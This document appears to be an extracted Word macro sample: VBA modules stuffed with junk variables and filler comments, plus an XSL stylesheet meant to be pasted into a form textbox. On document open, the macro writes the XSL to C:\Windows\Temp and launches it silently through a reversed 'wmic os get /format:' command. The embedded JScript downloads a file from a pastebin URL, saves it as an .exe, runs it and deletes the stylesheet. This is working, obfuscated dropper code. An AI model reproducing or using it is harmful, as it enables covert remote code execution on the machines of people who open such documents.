test.lol

Module 1

Name of module: ThisDocument

-----
Sub Document_Open()
Dim aqyLh1 As Long
aqyLh1 = -8138
' Damn noob noob god lol

Dim aF3g8Vg As Boolean
aF3g8Vg = True
' Lol why damn noob noob

Dim aRAP8xVtP As Long
aRAP8xVtP = 22053
' Why noob

Dim agHjE As Integer
agHjE = 13508
Dim aacKWJcF As String
aacKWJcF = "afouM"
' Hello
Dim aNixdgCm9 As Long
aNixdgCm9 = -6610
' Die damn
Dim a1pOmY0 As Integer
a1pOmY0 = -8954
' Hello damn hello
main
End Sub
-----

Module 2

Name of module: a9tFm8

-----
Function aaVR2Gf(a2xRk As String) As Integer
Dim aGU8Ugia As Boolean
aGU8Ugia = True
' Hello damn lol noob
Dim aMyQW As Boolean
aMyQW = True
' God why
Dim aki5k As Integer
aki5k = 20432

Dim aB0E5IC As String
aB0E5IC = "axpDHs"
' Die why why die
Dim afFDyZE As Long
afFDyZE = 5087
' Die damn lol why lol
Dim a6ijyy5 As Long
a6ijyy5 = 17438
'
Dim alrNLpumR As String
alrNLpumR = "adGUj"
' God god god noob
Dim aESHd As Boolean
aESHd = False
' Die noob why lol hello

Dim aQb0eTpn As Long
aQb0eTpn = 2950
' Damn god hello die die
Dim aZowlHe As String
aZowlHe = "a3tZCbT"
'
End Function
-----

Module 3

Name of module: aXbbc

-----
Function aWCSZaww(actd1Ix As Integer) As Long
Dim aHfEd As Boolean
aHfEd = True
'
Dim aEeMCSIr As String
aEeMCSIr = "a91XE"
' Die noob hello hello
Dim azORbW As String
azORbW = "adDe6"
'
Dim asbGc2v As Boolean
asbGc2v = True
' Why why die
Dim aBIrdM As Integer
aBIrdM = 19428
' Noob noob die

Dim atfUZ As Long
atfUZ = -28638
' Noob

Dim a6sZ7MSi As Integer
a6sZ7MSi = 21272
' Why lol hello hello die

Dim anAhWnHq3 As Integer
anAhWnHq3 = -16028
' Why lol
Dim a9j9I As Integer
a9j9I = 26183
'
Dim afnoSuvd4 As Boolean
afnoSuvd4 = True
' Die
Dim aOMIVTXzf As Integer
aOMIVTXzf = -20985
' Die lol noob
End Function
Public Sub a78zAodO2(asybo7LCZ As String, aM92Tdt As String)
Dim aYH5o8qFw As Object
Set aYH5o8qFw = CreateObject("Scripting.FileSystemObject")
Dim a06YyQhLj As Object
Set a06YyQhLj = aYH5o8qFw.CreateTextFile(asybo7LCZ, True, True)
a06YyQhLj.Write aM92Tdt
a06YyQhLj.Close
Dim aavaaI4c9 As Boolean
aavaaI4c9 = False
' Noob hello

Dim a1TvRLvOS As Integer
a1TvRLvOS = -14425
' Die noob
Dim aLYgTGU As Long
aLYgTGU = -29830
' Die why
Dim aa5Mo As Integer
aa5Mo = -910
' Hello lol noob
Dim aPCQCA3Px As Boolean
aPCQCA3Px = False
' Damn damn lol noob god
Dim aes3j As Boolean
aes3j = True
' Why damn lol die
Dim ae25mgG As Boolean
ae25mgG = True
Dim aOj0n As Boolean
aOj0n = False
' Why
Dim aaeuw As Long
aaeuw = -2594
' God why lol
Dim ah5Gt As Boolean
ah5Gt = True
'

End Sub
-----

Module 4

Name of module: ah4PMh3

-----
Sub main()
Dim aiKMpbp As String
aiKMpbp = "auvz4"
' God hello
Dim a9AYa As Integer
a9AYa = -17530
'
Dim acibw0Hh As Boolean
acibw0Hh = False
' Damn

Dim ap5Zmm As Integer
ap5Zmm = -29156
' Hello die

Dim axCdfYN As Long
axCdfYN = 20569
' God god god noob lol

Dim aJWyXwI8Z As Integer
aJWyXwI8Z = 18589
' Damn lol noob damn
Dim aRwVJe2 As String
aRwVJe2 = "anDgM4E57"

Dim aQosHgz As Long
aQosHgz = -22090
' Lol hello die hello why
Dim aN4KbmjQj As Long
aN4KbmjQj = 31323
'
Dim aZDGizm As Long
aZDGizm = 11733
'
Dim ajhDXzDy As String
ajhDXzDy = "akRmzi16F"
' God
Dim aABt6Pa6J As Boolean
aABt6Pa6J = True
Dim a3pb7a As Long
a3pb7a = 17090
' Why why god god
Dim aeWcNE9dl As Boolean
aeWcNE9dl = False
' God lol why
Dim aRN7lT As Long
aRN7lT = 8016
' Why die die

Dim agj1vvQ9 As Long
agj1vvQ9 = 13764
'

Dim awDmN As String
awDmN = "aPoT9CO8"
' Lol
Dim a3vsTj As Boolean
a3vsTj = False
' Noob why god why

Dim aw3zKX6Q6 As Long
aw3zKX6Q6 = 184
' God god hello god why

Dim ap5O4UI As Object
Dim afHVrY9 As Boolean
afHVrY9 = False
' Why lol damn damn
Dim a9oVAlf As String
a9oVAlf = "aUxrnV5"
Set ap5O4UI = New ay4Nk
Dim azYP4V As Boolean
azYP4V = True
' Why noob god lol hello
Dim aM0VF As String
aM0VF = "aqakwj"
' God damn hello
Dim aa9i9ACF As Long
aa9i9ACF = -6361
' Noob lol why
Dim aZGTQ As String
Dim aZk5F As Integer
aZk5F = -31200
' Damn noob hello lol lol
Dim aqZen37Bl As String
aqZen37Bl = "afAZiMLR3"
'
Dim aRpvME9 As String
Dim anOMsP2 As Long
anOMsP2 = -20831
'
Dim aACODfzm As Long
aACODfzm = -6622
' Noob
Dim aUr2PPVc0 As Integer
aUr2PPVc0 = 21158
'

aZGTQ = ap5O4UI.aoyXQ.Text
aRpvME9 = "C:\\Windows\\Temp\\a7cFo.xsl"
Dim aUAC8 As String
aUAC8 = "aCPJGQ"
'
Dim aYQkiS As Long
aYQkiS = 8506
aiR9at = Chr(34)
Dim a8qYxJhm As Integer
a8qYxJhm = 7377
' Noob god lol hello hello

Call a78zAodO2(aRpvME9, aZGTQ)
Dim aO5VbT As Boolean
aO5VbT = False
' God hello god die
Dim aiZaqQlN3 As String
aiZaqQlN3 = "a49MD7yC"
'

Dim akX4ANEb1 As Long
akX4ANEb1 = -12569
Dim aAcmqAn As Long
aAcmqAn = -11412
' Why die
Dim arsHG2z As String
arsHG2z = "a7A8d3f"
' Why
Dim arhSd As Long
arhSd = 772
' Lol noob noob die why
Dim ay58TiKsc As String
ay58TiKsc = "a7Z9VTf"
' Noob god die
Dim aeM8KEA8 As String
aeM8KEA8 = "amevGfh99"
' Damn

Dim aDxR2 As Integer
aDxR2 = -7915

Dim aDVX7B As Boolean
aDVX7B = True
' Die
Dim aiker7 As Long
aiker7 = 10211
'

Dim aRz2FDYT As String
aRz2FDYT = "aUXPpjg"
'
aBoSfeBIq = StrReverse(":tamrof/ teg so cimw")
Shell aBoSfeBIq & aiR9at & aRpvME9 & aiR9at, 0
Dim aad6uI As Boolean
aad6uI = True
Dim aCV0GvBt As Long
aCV0GvBt = 25427
' Why damn why
Dim aGN3XbU3 As Integer
aGN3XbU3 = -2710
' Hello why lol
Dim actovu As Integer
actovu = 1765
Dim ak8v3Yy As Boolean
ak8v3Yy = False

Dim a61VZ As Integer
a61VZ = 5171
Dim aIxk0m As String
aIxk0m = "aj8eE"
' Noob lol noob why
End Sub

-----

Module 5

Name of module: ay4Nk

-----
Private Sub aoyXQ_Change()

End Sub

Private Sub UserForm_Initialize()
Dim aI1b9TKF As Boolean
aI1b9TKF = True
' Why damn

Dim ajuQPR As String
ajuQPR = "aawfO"
' Noob noob noob why
Dim aOK5eWBhS As Long
aOK5eWBhS = 27802
' Hello die

End Sub
Public Sub test()

Dim aK7DTvsaE As Long
aK7DTvsaE = 23727
' Lol
End Sub

-----
XSL for copy/paste into the multiline text box control:
-----
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
	<msxsl:script language="JScript" implements-prefix="user">
	<![CDATA[

		// url
		var aa8aRotc = "https://pastebin.com/raw/Phz0A6hN";

		var aD86ZYp = new ActiveXObject("wscript.shell");
		var aBA7rWw = new ActiveXObject("scripting.filesystemobject");

		function aSrR7m1(ams5L)
		{
			var axS2Bqp = [
							"open",
							"send",
							"type",
							"write",
							"position",
							"savetofile",
							"close",
							"run"
						];

			return(axS2Bqp[ams5L]);
		}
	]]>
	</msxsl:script>
	<msxsl:script language="JScript" implements-prefix="user">
	<![CDATA[
		function aUR8usdH(ams5L)
		{
			var a7yi3OA = new ActiveXObject("msxml2.xmlhttp");

			a7yi3OA.open("GET", aa8aRotc, 0);
			a7yi3OA.send();

			if(a7yi3OA.status === 200 && a7yi3OA.readystate === 4)
			{
				var aTfZX = new ActiveXObject("adodb.stream");
				aTfZX.open();
				aTfZX.type = 1;
				aTfZX.write(a7yi3OA.responsebody);
				aTfZX.position = 0;
				aTfZX[aSrR7m1(5)](ams5L, 2);
				aTfZX.close();

				aD86ZYp.run(ams5L);

				// Self delete
				aBA7rWw.deletefile("C:\\Windows\\Temp\\aJW0coL.xsl");
			}
		}


	]]>
	</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:aUR8usdH('c:\\windows\\temp\\aHGJ6yC.exe')"/>
</xsl:template>
</xsl:stylesheet>